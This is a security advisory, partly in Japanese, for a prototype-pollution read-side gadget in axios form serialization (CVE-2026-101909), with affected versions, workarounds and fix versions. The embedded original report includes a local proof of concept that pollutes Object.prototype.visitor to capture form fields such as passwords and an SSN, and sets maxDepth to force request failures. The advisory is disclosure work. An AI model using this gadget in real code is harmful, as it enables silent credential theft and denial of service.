axiosにプロトタイプ汚染の脆弱性（CVE-2026-101909）

## Summary Axios form serialization reads `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob` from an internal options object without own-property guards. When `Object.prototype` has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies. Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures. ## Impact The impact depends on which property is polluted and which axios serialization path the application uses. Polluted `dots`, `indexes`, or `metaTokens` can change field names and cause the receiving service to parse different data than the caller intended. Polluted `maxDepth` can cause nested form submissions to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`, producing request-level or service-level denial of service for affected workflows. Polluted `visitor` can execute as the serializer visitor if an attacker can place a function on `Object.prototype`, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully. ## Affected Functionality Affected: - `axios.toFormData()`. - `transformRequest` paths that serialize plain objects to `multipart/form-data`. - URL-encoded form serialization paths that rely on the same helper. - `formSerializer` option defaults when the relevant properties are absent as own properties. Not affected: - JSON request bodies. - Requests that do not invoke `toFormData()`. - Processes where `Object.prototype` is not polluted. ## Technical Details `lib/helpers/toFormData.js` merges caller options with defaults using `utils.toFlatObject()`. When `options` is `undefined`, `toFlatObject()` returns the default object unchanged: ```js { metaTokens: true, dots: false, indexes: false } ``` That default object has `Object.prototype` in its prototype chain. `toFormData()` then reads behavior-affecting values directly: ```js const metaTokens = options.metaTokens; const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ``` These reads can resolve inherited polluted properties. Local code review confirmed the direct reads in `v1.18.1`. Tag checks show the option-based form serializer exists in `v0.28.0` and later; `maxDepth` appears in the `1.x` line from the form recursion fix. ## Proof of Concept of Attack Constrained local demonstration: ```js Object.prototype.maxDepth = 1; await axios.post(url, { a: { b: { c: 'value' } } }, { headers: { 'Content-Type': 'multipart/form-data' } }); ``` Expected safe behavior is that the default max depth is used unless the caller sets an own `formSerializer.maxDepth`. Current behavior reads the inherited value and can throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. For serializer alteration, polluting `Object.prototype.dots = true` changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior. ## Workarounds Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own `formSerializer` object that sets explicit safe values for all relevant keys, including `visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, and `Blob`. <details> <summary><h3>Original report</h3></summary> ### Summary _axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (`visitor`, `maxDepth`, `dots`, `indexes`, `metaTokens`, `Blob`) are read from a plain JavaScript object that inherits from `Object.prototype` without `hasOwnProperty` guards. When `Object.prototype` has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior._ _The highest-impact gadget is `visitor`: a polluted function on `Object.prototype.visitor` is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments._ ### Details #### Root Cause _The attack chain has three steps:_ _**Step 1: `formSerializer` is read safely, but `undefined` flows through**_ _In `lib/defaults/index.js`, the default `transformRequest` function reads `formSerializer` from config using the `own()` helper, which enforces `hasOwnProp`:_ ```js const formSerializer = own(this, 'formSerializer'); ``` _When the user does not explicitly configure `formSerializer`, this correctly returns `undefined`. That `undefined` is then passed as the `options` parameter to `toFormData()`:_ ```js return toFormData(data, _FormData && new _FormData(), formSerializer); // ^^^^^^^^^^^^ undefined ``` _**Step 2: `toFlatObject` returns a plain-object default**_ _Inside `lib/helpers/toFormData.js`, `options` (which is `undefined`) is merged with defaults via `utils.toFlatObject()`:_ ```js options = utils.toFlatObject( options, // undefined { metaTokens: true, dots: false, indexes: false }, // plain object literal false, function defined(option, source) { return !utils.isUndefined(source[option]); } ); ``` _`toFlatObject` has an early-return for null/undefined sources:_ ```js // lib/utils.js:607 if (sourceObj == null) return destObj; ``` _Since `options` is `undefined`, the function returns `destObj` unchanged — the plain object `{ metaTokens: true, dots: false, indexes: false }`. This object's prototype is `Object.prototype`._ _**Step 3: Options are read without `hasOwnProp` guards**_ _The six option properties are read directly from the plain object:_ ```js const metaTokens = options.metaTokens; // line 117 const visitor = options.visitor || defaultVisitor; // line 119 const dots = options.dots; // line 120 const indexes = options.indexes; // line 121 const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122 const maxDepth = options.maxDepth === undefined // line 123 ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth; ``` _None of these reads use `utils.hasOwnProp()`. Since the `options` object inherits from `Object.prototype`, any property set on `Object.prototype` by a compromised dependency is resolved through the prototype chain._ #### Why the Existing Defenses Didn't Catch This _axios has extensive prototype pollution defenses. However, those defenses are all focused on the **config** object (created by `mergeConfig`, which returns `Object.create(null)`). The `toFormData` function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited._ ### PoC #### Reproduction Steps #### Environment _Any environment with Node.js and npm. Tested on:_ _- Node.js v24.15.0, npm 11.13.0_ _- axios v1.18.1 (latest release at time of writing)_ ##### Step 1: Create a fresh project ```bash mkdir axios-pp-poc cd axios-pp-poc npm init -y npm install axios@1.18.1 ``` ##### Step 2: Create the PoC file _Create `poc.mjs` with the following content:_ ```js import axios from 'axios'; import http from 'http'; // Simulate pollution from a compromised transitive dependency let stolen = []; Object.prototype.visitor = function(value, key, path, helpers) { stolen.push({ key, value }); return helpers.defaultVisitor.call(this, value, key, path); }; Object.prototype.maxDepth = 2; const server = http.createServer((req, res) => { res.writeHead(200); res.end('{}'); }); server.listen(0, '127.0.0.1', async () => { const { port } = server.address(); try { // Exfiltration: visitor intercepts all form fields await axios.post(`http://127.0.0.1:${port}/`, { username: 'john', password: 'SuperSecret123!', profile: { ssn: '123-45-6789' } }, { headers: { 'Content-Type': 'multipart/form-data' } }); console.log('Stolen:', stolen); // Stolen: [ // { key: 'username', value: 'john' }, // { key: 'password', value: 'SuperSecret123!' }, // { key: 'profile', value: { ssn: '123-45-6789' } }, // { key: 'ssn', value: '123-45-6789' } // ] // DoS: nested object rejected by polluted maxDepth await axios.post(`http://127.0.0.1:${port}/`, { a: { b: { c: { d: 'value' } } } }, { headers: { 'Content-Type': 'multipart/form-data' } } ); // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED // "Object is too deeply nested (3 levels). Max depth: 2" } finally { delete Object.prototype.visitor; delete Object.prototype.maxDepth; server.close(); } }); ``` ##### Step 3: Run the PoC ```bash node poc.mjs ``` ### Impact #### 1. Data Exfiltration via `visitor` (Confidentiality: High) _A polluted `Object.prototype.visitor` function is called as the form data visitor:_ ```js visitor.call(formData, el, key, path, exposedHelpers) ``` _The attacker receives:_ _- **`value`** — the raw value being serialized (passwords, tokens, PII, API keys)_ _- **`key`** — the field name_ _- **`path`** — the full path array (e.g., `['profile', 'address', 'street']`)_ _- **`exposedHelpers`** — internal helpers including `defaultVisitor`, `convertValue`, `isVisitable`_ _By delegating to `helpers.defaultVisitor`, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server._ #### 2. Denial of Service via `maxDepth` (Availability: Low) _A polluted `Object.prototype.maxDepth` of `1` or `2` causes any moderately nested form data request to throw `ERR_FORM_DATA_DEPTH_EXCEEDED`. Applications that send nested objects as form data (common with APIs that accept `profile[name]`, `address[city]`, etc.) will experience mysterious failures._ #### 3. Data Corruption via `dots`, `indexes`, `metaTokens` (Integrity: Low) _Polluting these options changes the serialization format of form field names:_ _- **`dots: true`** — changes bracket notation (`user[name]`) to dot notation (`user.name`)_ _- **`indexes: true`** — changes array serialization (`items[]`) to indexed (`items[0]`, `items[1]`)_ _- **`metaTokens: false`** — changes `obj{}` keys to raw json strings_ _The server may misinterpret the submitted form data, leading to silent data corruption._ </details> ---

Axios is a promise-based HTTP client for the browser and Node.js. From 0.28.0 until 0.34.0 and 1.15.1 until 1.20.0, ToFormData processes inherited serialization options and visitor properties supplied through prototype pollution. A separate same-process prototype-pollution flaw supplies inherited dots, indexes, metaTokens, maxDepth, visitor, or Blob values before object serialization. The inherited options alter toFormData field naming and data interpretation, maxDepth can force request failure, Blob changes value handling, and a polluted visitor can execute when an attacker already has the stronger ability to inject a function. Serialized field naming and data interpretation can change, maxDepth can cause request failure, Blob can alter value handling, and a polluted visitor can execute under the stronger function-injection primitive. This issue is fixed in versions 0.34.0 and 1.20.0.